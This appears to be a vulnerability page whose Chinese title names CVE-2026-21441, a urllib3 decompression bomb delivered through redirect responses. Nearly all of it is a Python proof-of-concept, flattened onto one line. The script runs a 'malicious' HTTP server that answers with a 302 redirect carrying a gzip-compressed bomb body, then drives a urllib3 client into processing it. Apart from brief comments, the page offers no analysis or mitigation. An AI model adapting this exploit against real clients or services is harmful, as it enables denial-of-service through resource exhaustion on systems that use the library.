CVE-2026-21441 urllib3流式API重定向响应解压炸弹漏洞

#!/usr/bin/env python3 """ CVE-2026-21441 PoC - urllib3 decompression bomb via redirect This PoC demonstrates how a malicious server can trigger excessive resource consumption on urllib3 client through crafted redirect responses. """ import http.server import socketserver import threading import time import gzip import os # Generate a small but highly compressible payload (zip bomb simulation) def generate_bomb_payload(): """Generate payload that expands dramatically when decompressed""" # Create data that compresses extremely well (repeated pattern) bomb_data = b'\x00' * 1024 * 1024 # 1MB of zeros compresses to ~1KB return gzip.compress(bomb_data) class MaliciousRedirectHandler(http.server.BaseHTTPRequestHandler): """Handler that sends redirect with decompression bomb""" def do_GET(self): if self.path == '/normal': # Initial request - send redirect self.send_response(302) self.send_header('Location', '/bomb') self.send_header('Content-Encoding', 'gzip') self.send_header('Content-Length', str(len(self.bomb_payload))) self.end_headers() self.wfile.write(self.bomb_payload) elif self.path == '/bomb': # Redirect target with bomb payload self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Bomb triggered!') def log_message(self, format, *args): print(f"[Malicious Server] {format % args}") def start_malicious_server(port=8888): """Start the malicious server""" # Pre-generate bomb payload MaliciousRedirectHandler.bomb_payload = generate_bomb_payload() print(f"Generated bomb payload: {len(MaliciousRedirectHandler.bomb_payload)} bytes") with socketserver.TCPServer(("", port), MaliciousRedirectHandler) as httpd: print(f"Malicious server running on port {port}") httpd.handle_request() def exploit_urllib3(): """Demonstrate the vulnerability using urllib3""" import urllib3 print("\n[*] Testing urllib3 with preload_content=False") print("[*] This configuration is vulnerable to decompression bomb via redirect\n") # Vulnerable configuration: preload_content=False with redirects enabled http = urllib3.PoolManager() try: # This will trigger the redirect, causing pre-decompression of bomb response = http.request('GET', 'http://localhost:8888/normal', preload_content=False, timeout=10.0) print("[!] Request completed - decompression bomb was processed") print(f"[*] Response data available: {response.data}") except Exception as e: print(f"[!] Request failed (may indicate resource exhaustion): {e}") if __name__ == '__main__': print("=" * 60) print("CVE-2026-21441 - urllib3 Decompression Bomb via Redirect") print("=" * 60) # Start malicious server in background server_thread = threading.Thread(target=start_malicious_server, daemon=True) server_thread.start() time.sleep(0.5) # Run exploit exploit_urllib3()